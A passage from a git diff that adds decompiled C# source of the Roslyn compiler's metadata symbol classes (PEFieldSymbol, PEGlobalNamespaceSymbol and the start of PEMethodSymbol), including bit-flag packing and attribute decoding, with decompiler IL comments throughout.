|= 4; + } + if ((value & FlowAnalysisAnnotations.NotNull) != FlowAnalysisAnnotations.None) + { + num |= 8; + } + return ThreadSafeFlagOperations.Set(ref _bits, num); + } + + public bool TryGetFlowAnalysisAnnotations(out FlowAnalysisAnnotations value) + { + int bits = _bits; + value = FlowAnalysisAnnotations.None; + if ((bits & 1) != 0) + { + value |= FlowAnalysisAnnotations.DisallowNull; + } + if ((bits & 2) != 0) + { + value |= FlowAnalysisAnnotations.AllowNull; + } + if ((bits & 4) != 0) + { + value |= FlowAnalysisAnnotations.MaybeNull; + } + if ((bits & 8) != 0) + { + value |= FlowAnalysisAnnotations.NotNull; + } + return (bits & 0x10) != 0; + } + + public void SetIsVolatile(bool isVolatile) + { + if (isVolatile) + { + ThreadSafeFlagOperations.Set(ref _bits, 32); + } + } + + public void SetRefKind(RefKind refKind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Expected I4, but got Unknown + int num = (refKind & 3) << 6; + if (num != 0) + { + ThreadSafeFlagOperations.Set(ref _bits, num); + } + } + + public bool SetHasRequiredMemberAttribute(bool isRequired) + { + int num = 0x200 | (isRequired ? 256 : 0); + return ThreadSafeFlagOperations.Set(ref _bits, num); + } + + public bool TryGetHasRequiredMemberAttribute(out bool hasRequiredMemberAttribute) + { + if ((_bits & 0x200) != 0) + { + hasRequiredMemberAttribute = (_bits & 0x100) != 0; + return true; + } + hasRequiredMemberAttribute = false; + return false; + } + } + + private readonly FieldDefinitionHandle _handle; + + private readonly string _name; + + private readonly FieldAttributes _flags; + + private readonly PENamedTypeSymbol _containingType; + + private ImmutableArray _lazyCustomAttributes; + + private ConstantValue _lazyConstantValue = ConstantValue.Unset; + + private Tuple _lazyDocComment; + + private CachedUseSiteInfo _lazyCachedUseSiteInfo = CachedUseSiteInfo.Uninitialized; + + private ObsoleteAttributeData _lazyObsoleteAttributeData = ObsoleteAttributeData.Uninitialized; + + private TypeWithAnnotations.Boxed _lazyType; + + private int _lazyFixedSize; + + private NamedTypeSymbol _lazyFixedImplementationType; + + private PEEventSymbol _associatedEventOpt; + + private PackedFlags _packedFlags; + + private ImmutableArray _lazyRefCustomModifiers; + + public override Symbol ContainingSymbol => _containingType; + + public override NamedTypeSymbol ContainingType => _containingType; + + public override string Name => _name; + + public override int MetadataToken => MetadataTokens.GetToken(_handle); + + internal FieldAttributes Flags => _flags; + + internal override bool HasSpecialName => (_flags & FieldAttributes.SpecialName) != 0; + + internal override bool HasRuntimeSpecialName => (_flags & FieldAttributes.RTSpecialName) != 0; + + internal override bool IsNotSerialized => (_flags & FieldAttributes.NotSerialized) != 0; + + internal override MarshalPseudoCustomAttributeData MarshallingInformation => null; + + internal override bool IsMarshalledExplicitly => (_flags & FieldAttributes.HasFieldMarshal) != 0; + + internal override UnmanagedType MarshallingType + { + get + { + if ((_flags & FieldAttributes.HasFieldMarshal) == 0) + { + return (UnmanagedType)0; + } + return _containingType.ContainingPEModule.Module.GetMarshallingType((EntityHandle)_handle); + } + } + + internal override ImmutableArray MarshallingDescriptor + { + get + { + if ((_flags & FieldAttributes.HasFieldMarshal) == 0) + { + return default(ImmutableArray); + } + return _containingType.ContainingPEModule.Module.GetMarshallingDescriptor((EntityHandle)_handle); + } + } + + internal override int? TypeLayoutOffset => _containingType.ContainingPEModule.Module.GetFieldOffset(_handle); + + internal FieldDefinitionHandle Handle => _handle; + + private PEModuleSymbol ContainingPEModule => ((PENamespaceSymbol)ContainingNamespace).ContainingPEModule; + + public override RefKind RefKind + { + get + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + EnsureSignatureIsLoaded(); + return _packedFlags.RefKind; + } + } + + public override ImmutableArray RefCustomModifiers + { + get + { + EnsureSignatureIsLoaded(); + return _lazyRefCustomModifiers; + } + } + + public override FlowAnalysisAnnotations FlowAnalysisAnnotations + { + get + { + if (!_packedFlags.TryGetFlowAnalysisAnnotations(out var value)) + { + value = DecodeFlowAnalysisAttributes(_containingType.ContainingPEModule.Module, _handle); + _packedFlags.SetFlowAnalysisAnnotations(value); + } + return value; + } + } + + public override bool IsFixedSizeBuffer + { + get + { + EnsureSignatureIsLoaded(); + return (object)_lazyFixedImplementationType != null; + } + } + + public override int FixedSize + { + get + { + EnsureSignatureIsLoaded(); + return _lazyFixedSize; + } + } + + public override Symbol AssociatedSymbol => _associatedEventOpt; + + public override bool IsReadOnly => (_flags & FieldAttributes.InitOnly) != 0; + + public override bool IsVolatile + { + get + { + EnsureSignatureIsLoaded(); + return _packedFlags.IsVolatile; + } + } + + public override bool IsConst + { + get + { + if ((_flags & FieldAttributes.Literal) == 0) + { + return GetConstantValue(ConstantFieldsInProgress.Empty, earlyDecodingWellKnownAttributes: false) != (ConstantValue)null; + } + return true; + } + } + + public override ImmutableArray Locations => ImmutableArrayExtensions.Cast(_containingType.ContainingPEModule.MetadataLocation); + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override Accessibility DeclaredAccessibility + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + Accessibility val = (Accessibility)1; + switch (_flags & FieldAttributes.FieldAccessMask) + { + case FieldAttributes.Assembly: + return (Accessibility)4; + case FieldAttributes.FamORAssem: + return (Accessibility)5; + case FieldAttributes.FamANDAssem: + return (Accessibility)2; + case FieldAttributes.PrivateScope: + case FieldAttributes.Private: + return (Accessibility)1; + case FieldAttributes.Public: + return (Accessibility)6; + case FieldAttributes.Family: + return (Accessibility)3; + default: + return (Accessibility)1; + } + } + } + + public override bool IsStatic => (_flags & FieldAttributes.Static) != 0; + + internal override ObsoleteAttributeData ObsoleteAttributeData + { + get + { + ObsoleteAttributeHelpers.InitializeObsoleteDataFromMetadata(ref _lazyObsoleteAttributeData, _handle, (PEModuleSymbol)ContainingModule, ignoreByRefLikeMarker: false, ignoreRequiredMemberMarker: false); + return _lazyObsoleteAttributeData; + } + } + + internal sealed override CSharpCompilation DeclaringCompilation => null; + + internal override bool IsRequired + { + get + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + if (!_packedFlags.TryGetHasRequiredMemberAttribute(out var hasRequiredMemberAttribute)) + { + hasRequiredMemberAttribute = ContainingPEModule.Module.HasAttribute((EntityHandle)_handle, AttributeDescription.RequiredMemberAttribute); + _packedFlags.SetHasRequiredMemberAttribute(hasRequiredMemberAttribute); + } + return hasRequiredMemberAttribute; + } + } + + internal PEFieldSymbol(PEModuleSymbol moduleSymbol, PENamedTypeSymbol containingType, FieldDefinitionHandle fieldDef) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + _handle = fieldDef; + _containingType = containingType; + _packedFlags = default(PackedFlags); + try + { + moduleSymbol.Module.GetFieldDefPropsOrThrow(fieldDef, ref _name, ref _flags); + } + catch (BadImageFormatException) + { + if (_name == null) + { + _name = string.Empty; + } + _lazyCachedUseSiteInfo.Initialize((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BindToBogus, this)); + } + } + + internal void SetAssociatedEvent(PEEventSymbol eventSymbol) + { + if ((object)_associatedEventOpt == null) + { + _associatedEventOpt = eventSymbol; + } + } + + private void EnsureSignatureIsLoaded() + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + //IL_0169: Unknown result type (might be due to invalid IL or missing references) + if (_lazyType == null) + { + PEModuleSymbol containingPEModule = _containingType.ContainingPEModule; + FieldInfo val = ((MetadataDecoder)new MetadataDecoder(containingPEModule, _containingType)).DecodeFieldSignature(_handle); + TypeSymbol type = val.Type; + ImmutableArray immutableArray = CSharpCustomModifier.Convert(val.CustomModifiers); + TypeWithAnnotations metadataType = TypeWithAnnotations.Create(NativeIntegerTypeDecoder.TransformType(DynamicTypeDecoder.TransformType(type, immutableArray.Length, _handle, containingPEModule, (RefKind)0), _handle, containingPEModule, _containingType), NullableAnnotation.Oblivious, immutableArray); + metadataType = NullableTypeDecoder.TransformType(metadataType, _handle, containingPEModule, this, _containingType); + metadataType = TupleTypeDecoder.DecodeTupleTypesIfApplicable(metadataType, _handle, containingPEModule); + RefKind refKind = (RefKind)(val.IsByRef ? ((!containingPEModule.Module.HasIsReadOnlyAttribute((EntityHandle)_handle)) ? 1 : 3) : 0); + _packedFlags.SetRefKind(refKind); + _packedFlags.SetIsVolatile(immutableArray.Any((CustomModifier m) => !m.IsOptional && (int)((CSharpCustomModifier)(object)m).ModifierSymbol.SpecialType == 34)); + if (immutableArray.IsEmpty && IsFixedBuffer(out var fixedSize, out var fixedElementType)) + { + _lazyFixedSize = fixedSize; + _lazyFixedImplementationType = metadataType.Type as NamedTypeSymbol; + metadataType = TypeWithAnnotations.Create(new PointerTypeSymbol(TypeWithAnnotations.Create(fixedElementType))); + } + ImmutableInterlocked.InterlockedInitialize(ref _lazyRefCustomModifiers, CSharpCustomModifier.Convert(val.RefCustomModifiers)); + Interlocked.CompareExchange(ref _lazyType, new TypeWithAnnotations.Boxed(metadataType), null); + } + } + + private bool IsFixedBuffer(out int fixedSize, out TypeSymbol fixedElementType) + { + fixedSize = 0; + fixedElementType = null; + PEModuleSymbol containingPEModule = ContainingPEModule; + string text = default(string); + int num = default(int); + if (containingPEModule.Module.HasFixedBufferAttribute((EntityHandle)_handle, ref text, ref num)) + { + TypeSymbol typeSymbolForSerializedType = ((TypeNameDecoder)(object)new MetadataDecoder(containingPEModule)).GetTypeSymbolForSerializedType(text); + if (typeSymbolForSerializedType.FixedBufferElementSizeInBytes() != 0) + { + fixedSize = num; + fixedElementType = typeSymbolForSerializedType; + return true; + } + } + return false; + } + + internal override TypeWithAnnotations GetFieldType(ConsList fieldsBeingBound) + { + EnsureSignatureIsLoaded(); + return _lazyType.Value; + } + + private static FlowAnalysisAnnotations DecodeFlowAnalysisAttributes(PEModule module, FieldDefinitionHandle handle) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + FlowAnalysisAnnotations flowAnalysisAnnotations = FlowAnalysisAnnotations.None; + if (module.HasAttribute((EntityHandle)handle, AttributeDescription.AllowNullAttribute)) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.AllowNull; + } + if (module.HasAttribute((EntityHandle)handle, AttributeDescription.DisallowNullAttribute)) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.DisallowNull; + } + if (module.HasAttribute((EntityHandle)handle, AttributeDescription.MaybeNullAttribute)) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.MaybeNull; + } + if (module.HasAttribute((EntityHandle)handle, AttributeDescription.NotNullAttribute)) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.NotNull; + } + return flowAnalysisAnnotations; + } + + internal override NamedTypeSymbol FixedImplementationType(PEModuleBuilder emitModule) + { + EnsureSignatureIsLoaded(); + return _lazyFixedImplementationType; + } + + internal override ConstantValue GetConstantValue(ConstantFieldsInProgress inProgress, bool earlyDecodingWellKnownAttributes) + { + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Invalid comparison between Unknown and I4 + if (_lazyConstantValue == ConstantValue.Unset) + { + ConstantValue value = null; + if ((_flags & FieldAttributes.Literal) != FieldAttributes.PrivateScope) + { + value = _containingType.ContainingPEModule.Module.GetConstantFieldValue(_handle); + } + ConstantValue val = default(ConstantValue); + if ((int)base.Type.SpecialType == 17 && _containingType.ContainingPEModule.Module.HasDecimalConstantAttribute((EntityHandle)Handle, ref val)) + { + value = val; + } + Interlocked.CompareExchange(ref _lazyConstantValue, value, ConstantValue.Unset); + } + return _lazyConstantValue; + } + + public override ImmutableArray GetAttributes() + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + if (_lazyCustomAttributes.IsDefault) + { + CustomAttributeHandle filteredOutAttribute; + CustomAttributeHandle filteredOutAttribute2; + ImmutableArray customAttributesForToken = ((PEModuleSymbol)ContainingModule).GetCustomAttributesForToken(_handle, out filteredOutAttribute, (AttributeDescription)(FilterOutDecimalConstantAttribute() ? AttributeDescription.DecimalConstantAttribute : default(AttributeDescription)), out filteredOutAttribute2, AttributeDescription.RequiredMemberAttribute); + ImmutableInterlocked.InterlockedInitialize(ref _lazyCustomAttributes, customAttributesForToken); + _packedFlags.SetHasRequiredMemberAttribute(!filteredOutAttribute2.IsNil); + } + return _lazyCustomAttributes; + } + + private bool FilterOutDecimalConstantAttribute() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Invalid comparison between Unknown and I4 + ConstantValue constantValue; + if ((int)base.Type.SpecialType == 17 && (constantValue = GetConstantValue(ConstantFieldsInProgress.Empty, earlyDecodingWellKnownAttributes: false)) != null) + { + return (int)constantValue.Discriminator == 17; + } + return false; + } + + internal override IEnumerable GetCustomAttributesToEmit(PEModuleBuilder moduleBuilder) + { + ImmutableArray.Enumerator enumerator = GetAttributes().GetEnumerator(); + while (enumerator.MoveNext()) + { + yield return enumerator.Current; + } + if (FilterOutDecimalConstantAttribute()) + { + PEModuleSymbol containingPEModule = _containingType.ContainingPEModule; + yield return new PEAttributeData(containingPEModule, containingPEModule.Module.FindLastTargetAttribute((EntityHandle)_handle, AttributeDescription.DecimalConstantAttribute).Handle); + } + } + + public override string GetDocumentationCommentXml(CultureInfo preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return PEDocumentationCommentUtils.GetDocumentationComment(this, _containingType.ContainingPEModule, preferredCulture, cancellationToken, ref _lazyDocComment); + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + AssemblySymbol primaryDependency = base.PrimaryDependency; + if (!_lazyCachedUseSiteInfo.IsInitialized) + { + UseSiteInfo result = default(UseSiteInfo); + result._002Ector(primaryDependency); + CalculateUseSiteDiagnostic(ref result); + if ((int)RefKind != 0 && (IsFixedSizeBuffer || base.Type.IsRefLikeType)) + { + MergeUseSiteInfo(ref result, new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BindToBogus, this))); + } + deriveCompilerFeatureRequiredUseSiteInfo(ref result); + _lazyCachedUseSiteInfo.Initialize(primaryDependency, result); + } + return _lazyCachedUseSiteInfo.ToUseSiteInfo(primaryDependency); + void deriveCompilerFeatureRequiredUseSiteInfo(ref UseSiteInfo reference) + { + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + PENamedTypeSymbol pENamedTypeSymbol = (PENamedTypeSymbol)ContainingType; + PEModuleSymbol containingPEModule = _containingType.ContainingPEModule; + DiagnosticInfo val = PEUtilities.DeriveCompilerFeatureRequiredAttributeDiagnostic(this, containingPEModule, Handle, (CompilerFeatureRequiredFeatures)0, new MetadataDecoder(containingPEModule, pENamedTypeSymbol)); + if (val == null) + { + val = pENamedTypeSymbol.GetCompilerFeatureRequiredDiagnostic(); + } + if (val != null) + { + reference = new UseSiteInfo(val); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEGlobalNamespaceSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEGlobalNamespaceSymbol.cs new file mode 100644 index 0000000..70af334 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEGlobalNamespaceSymbol.cs @@ -0,0 +1,48 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Reflection.Metadata; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; + +internal sealed class PEGlobalNamespaceSymbol : PENamespaceSymbol +{ + private readonly PEModuleSymbol _moduleSymbol; + + public override Symbol ContainingSymbol => _moduleSymbol; + + internal override PEModuleSymbol ContainingPEModule => _moduleSymbol; + + public override string Name => string.Empty; + + public override bool IsGlobalNamespace => true; + + public override AssemblySymbol ContainingAssembly => _moduleSymbol.ContainingAssembly; + + internal override ModuleSymbol ContainingModule => _moduleSymbol; + + internal sealed override CSharpCompilation DeclaringCompilation => null; + + internal PEGlobalNamespaceSymbol(PEModuleSymbol moduleSymbol) + { + _moduleSymbol = moduleSymbol; + } + + protected override void EnsureAllMembersLoaded() + { + if (lazyTypes == null || lazyNamespaces == null) + { + IEnumerable> typesByNS; + try + { + typesByNS = _moduleSymbol.Module.GroupTypesByNamespaceOrThrow(StringComparer.Ordinal); + } + catch (BadImageFormatException) + { + typesByNS = SpecializedCollections.EmptyEnumerable>(); + } + LoadAllMembers(typesByNS); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEMethodSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEMethodSymbol.cs new file mode 100644 index 0000000..e8e9f9d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEMethodSymbol.cs @@ -0,0 +1,1564 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Globalization; +using System.Reflection; +using System.Reflection.Metadata; +using System.Reflection.Metadata.Ecma335; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.DocumentationComments; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; + +internal sealed class PEMethodSymbol : MethodSymbol +{ + internal class SignatureData + { + public readonly SignatureHeader Header; + + public readonly ImmutableArray Parameters; + + public readonly PEParameterSymbol ReturnParam; + + public SignatureData(SignatureHeader header, ImmutableArray parameters, PEParameterSymbol returnParam) + { + Header = header; + Parameters = parameters; + ReturnParam = returnParam; + } + } + + private struct PackedFlags + { + private const int MethodKindOffset = 0; + + private const int MethodKindMask = 31; + + private const int MethodKindIsPopulatedBit = 32; + + private const int IsExtensionMethodBit = 64; + + private const int IsExtensionMethodIsPopulatedBit = 128; + + private const int IsExplicitFinalizerOverrideBit = 256; + + private const int IsExplicitClassOverrideBit = 512; + + private const int IsExplicitOverrideIsPopulatedBit = 1024; + + private const int IsObsoleteAttributePopulatedBit = 2048; + + private const int IsCustomAttributesPopulatedBit = 4096; + + private const int IsUseSiteDiagnosticPopulatedBit = 8192; + + private const int IsConditionalPopulatedBit = 16384; + + private const int IsOverriddenOrHiddenMembersPopulatedBit = 32768; + + private const int IsReadOnlyBit = 65536; + + private const int IsReadOnlyPopulatedBit = 131072; + + private const int NullableContextOffset = 18; + + private const int NullableContextMask = 7; + + private const int DoesNotReturnBit = 2097152; + + private const int IsDoesNotReturnPopulatedBit = 4194304; + + private const int IsMemberNotNullPopulatedBit = 8388608; + + private const int IsInitOnlyBit = 16777216; + + private const int IsInitOnlyPopulatedBit = 33554432; + + private const int IsUnmanagedCallersOnlyAttributePopulatedBit = 67108864; + + private const int HasSetsRequiredMembersBit = 134217728; + + private const int HasSetsRequiredMembersPopulatedBit = 268435456; + + private const int IsUnscopedRefBit = 536870912; + + private const int IsUnscopedRefPopulatedBit = 1073741824; + + private int _bits; + + public MethodKind MethodKind + { + get + { + return (MethodKind)(_bits & 0x1F); + } + set + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Expected I4, but got Unknown + _bits = (_bits & -32) | (value & 0x1F) | 0x20; + } + } + + public bool MethodKindIsPopulated => (_bits & 0x20) != 0; + + public bool IsExtensionMethod => (_bits & 0x40) != 0; + + public bool IsExtensionMethodIsPopulated => (_bits & 0x80) != 0; + + public bool IsExplicitFinalizerOverride => (_bits & 0x100) != 0; + + public bool IsExplicitClassOverride => (_bits & 0x200) != 0; + + public bool IsExplicitOverrideIsPopulated => (_bits & 0x400) != 0; + + public bool IsObsoleteAttributePopulated => (_bits & 0x800) != 0; + + public bool IsCustomAttributesPopulated => (_bits & 0x1000) != 0; + + public bool IsUseSiteDiagnosticPopulated => (_bits & 0x2000) != 0; + + public bool IsConditionalPopulated => (_bits & 0x4000) != 0; + + public bool IsOverriddenOrHiddenMembersPopulated => (_bits & 0x8000) != 0; + + public bool IsReadOnly => (_bits & 0x10000) != 0; + + public bool IsReadOnlyPopulated => (_bits & 0x20000) != 0; + + public bool DoesNotReturn => (_bits & 0x200000) != 0; + + public bool IsDoesNotReturnPopulated => (_bits & 0x400000) != 0; + + public bool IsMemberNotNullPopulated => (_bits & 0x800000) != 0; + + public bool IsInitOnly => (_bits & 0x1000000) != 0; + + public bool IsInitOnlyPopulated => (_bits & 0x2000000) != 0; + + public bool IsUnmanagedCallersOnlyAttributePopulated => (_bits & 0x4000000) != 0; + + public bool HasSetsRequiredMembers => (_bits & 0x8000000) != 0; + + public bool HasSetsRequiredMembersPopulated => (_bits & 0x10000000) != 0; + + public bool IsUnscopedRef => (_bits & 0x20000000) != 0; + + public bool IsUnscopedRefPopulated => (_bits & 0x40000000) != 0; + + private static bool BitsAreUnsetOrSame(int bits, int mask) + { + if ((bits & mask) != 0) + { + return (bits & mask) == mask; + } + return true; + } + + public void InitializeIsExtensionMethod(bool isExtensionMethod) + { + int num = (isExtensionMethod ? 64 : 0) | 0x80; + ThreadSafeFlagOperations.Set(ref _bits, num); + } + + public void InitializeIsReadOnly(bool isReadOnly) + { + int num = (isReadOnly ? 65536 : 0) | 0x20000; + ThreadSafeFlagOperations.Set(ref _bits, num); + } + + public void InitializeMethodKind(MethodKind methodKind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Expected I4, but got Unknown + int num = (methodKind & 0x1F) | 0x20; + ThreadSafeFlagOperations.Set(ref _bits, num); + } + + public void InitializeIsExplicitOverride(bool isExplicitFinalizerOverride, bool isExplicitClassOverride) + { + int num = (isExplicitFinalizerOverride ? 256 : 0) | (isExplicitClassOverride ? 512 : 0) | 0x400; + ThreadSafeFlagOperations.Set(ref _bits, num); + } + + public void SetIsObsoleteAttributePopulated() + { + ThreadSafeFlagOperations.Set(ref _bits, 2048); + } + + public void SetIsCustomAttributesPopulated() + { + ThreadSafeFlagOperations.Set(ref _bits, 4096); + } + + public void SetIsUseSiteDiagnosticPopulated() + { + ThreadSafeFlagOperations.Set(ref _bits, 8192); + } + + public void SetIsConditionalAttributePopulated() + { + ThreadSafeFlagOperations.Set(ref _bits, 16384); + } + + public void SetIsOverriddenOrHiddenMembersPopulated() + { + ThreadSafeFlagOperations.Set(ref _bits, 32768); + } + + public bool TryGetNullableContext(out byte? value) + { + return ((NullableContextKind)((_bits >> 18) & 7)).TryGetByte(out value); + } + + public bool SetNullableContext(byte? value) + { + return ThreadSafeFlagOperations.Set(ref _bits, (int)((uint)(value.ToNullableContextFlags() & (NullableContextKind)7) << 18)); + } + + public bool InitializeDoesNotReturn(bool value) + { + int num = 4194304; + if (value) + { + num |= 0x200000; + } + return ThreadSafeFlagOperations.Set(ref _bits, num); + } + + public void SetIsMemberNotNullPopulated() + { + ThreadSafeFlagOperations.Set(ref _bits, 8388608); + } + + public void InitializeIsInitOnly(bool isInitOnly) + { + int num = (isInitOnly ? 16777216 : 0) | 0x2000000; + ThreadSafeFlagOperations.Set(ref _bits, num); + } + + public void SetIsUnmanagedCallersOnlyAttributePopulated() + { + ThreadSafeFlagOperations.Set(ref _bits, 67108864); + } + + public bool InitializeSetsRequiredMembersBit(bool value) + { + int num = 268435456; + if (value) + { + num |= 0x8000000; + } + return ThreadSafeFlagOperations.Set(ref _bits, num); + } + + public bool InitializeIsUnscopedRef(bool value) + { + int num = 1073741824; + if (value) + { + num |= 0x20000000; + } + return ThreadSafeFlagOperations.Set(ref _bits, num); + } + } + + private sealed class UncommonFields + { + public ParameterSymbol _lazyThisParameter; + + public Tuple _lazyDocComment; + + public OverriddenOrHiddenMembersResult _lazyOverriddenOrHiddenMembersResult; + + public ImmutableArray _lazyCustomAttributes; + + public ImmutableArray _lazyConditionalAttributeSymbols; + + public ObsoleteAttributeData _lazyObsoleteAttributeData; + + public UnmanagedCallersOnlyAttributeData _lazyUnmanagedCallersOnlyAttributeData; + + public CachedUseSiteInfo _lazyCachedUseSiteInfo; + + public ImmutableArray _lazyNotNullMembers; + + public ImmutableArray _lazyNotNullMembersWhenTrue; + + public ImmutableArray _lazyNotNullMembersWhenFalse; + + public MethodSymbol _lazyExplicitClassOverride; + } + + private readonly MethodDefinitionHandle _handle; + + private readonly string _name; + + private readonly PENamedTypeSymbol _containingType; + + private Symbol _associatedPropertyOrEventOpt; + + private PackedFlags _packedFlags; + + private readonly ushort _flags; + + private readonly ushort _implFlags; + + private ImmutableArray _lazyTypeParameters; + + private SignatureData _lazySignature; + + private ImmutableArray _lazyExplicitMethodImplementations; + + private UncommonFields _uncommonFields; + + public override Symbol ContainingSymbol => _containingType; + + public override NamedTypeSymbol ContainingType => _containingType; + + public override string Name => _name; + + public override int MetadataToken => MetadataTokens.GetToken(_handle); + + internal MethodAttributes Flags => (MethodAttributes)_flags; + + internal override bool HasSpecialName => HasFlag(MethodAttributes.SpecialName); + + internal override bool HasRuntimeSpecialName => HasFlag(MethodAttributes.RTSpecialName); + + internal override MethodImplAttributes ImplementationAttributes => (MethodImplAttributes)_implFlags; + + internal override bool RequiresSecurityObject => HasFlag(MethodAttributes.RequireSecObject); + + internal override bool ReturnValueIsMarshalledExplicitly => ReturnTypeParameter.IsMarshalledExplicitly; + + internal override MarshalPseudoCustomAttributeData ReturnValueMarshallingInformation => ReturnTypeParameter.MarshallingInformation; + + internal override ImmutableArray ReturnValueMarshallingDescriptor => ReturnTypeParameter.MarshallingDescriptor; + + internal override bool IsAccessCheckedOnOverride => HasFlag(MethodAttributes.CheckAccessOnOverride); + + internal override bool HasDeclarativeSecurity => HasFlag(MethodAttributes.HasSecurity); + + public override Accessibility DeclaredAccessibility + { + get + { + switch (Flags & MethodAttributes.MemberAccessMask) + { + case MethodAttributes.Assembly: + return (Accessibility)4; + case MethodAttributes.FamORAssem: + return (Accessibility)5; + case MethodAttributes.FamANDAssem: + return (Accessibility)2; + case MethodAttributes.PrivateScope: + case MethodAttributes.Private: + return (Accessibility)1; + case MethodAttributes.Public: + return (Accessibility)6; + case MethodAttributes.Family: + return (Accessibility)3; + default: + return (Accessibility)1; + } + } + } + + public override bool IsExtern => HasFlag(MethodAttributes.PinvokeImpl); + + internal override bool IsExternal + { + get + { + if (!IsExtern) + { + return (ImplementationAttributes & MethodImplAttributes.CodeTypeMask) != 0; + } + return true; + } + } + + public override bool IsVararg => Signature.Header.CallingConvention == SignatureCallingConvention.VarArgs; + + public override bool IsGenericMethod => Arity > 0; + + public override bool IsAsync => false; + + public override int Arity + { + get + { + if (!_lazyTypeParameters.IsDefault) + { + return _lazyTypeParameters.Length; + } + try + { + int num = default(int); + int result = default(int); + MetadataDecoder.GetSignatureCountsOrThrow(_containingType.ContainingPEModule.Module, _handle, ref num, ref result); + return result; + } + catch (BadImageFormatException) + { + return TypeParameters.Length; + } + } + } + + internal MethodDefinitionHandle Handle => _handle; + + public override bool IsAbstract => HasFlag(MethodAttributes.Abstract); + + public override bool IsSealed + { + get + { + if (IsMetadataFinal) + { + if (!_containingType.IsInterface) + { + if (!IsAbstract) + { + return IsOverride; + } + return false; + } + if (IsAbstract && IsMetadataVirtual()) + { + return !IsMetadataNewSlot(); + } + return false; + } + return false; + } + } + + public override bool HidesBaseMethodsByName => !HasFlag(MethodAttributes.HideBySig); + + public override bool IsVirtual + { + get + { + if (IsMetadataVirtual() && !IsDestructor && !IsMetadataFinal && !IsAbstract) + { + if (!_containingType.IsInterface) + { + return !IsOverride; + } + if (!IsStatic) + { + return IsMetadataNewSlot(); + } + return true; + } + return false; + } + } + + public override bool IsOverride + { 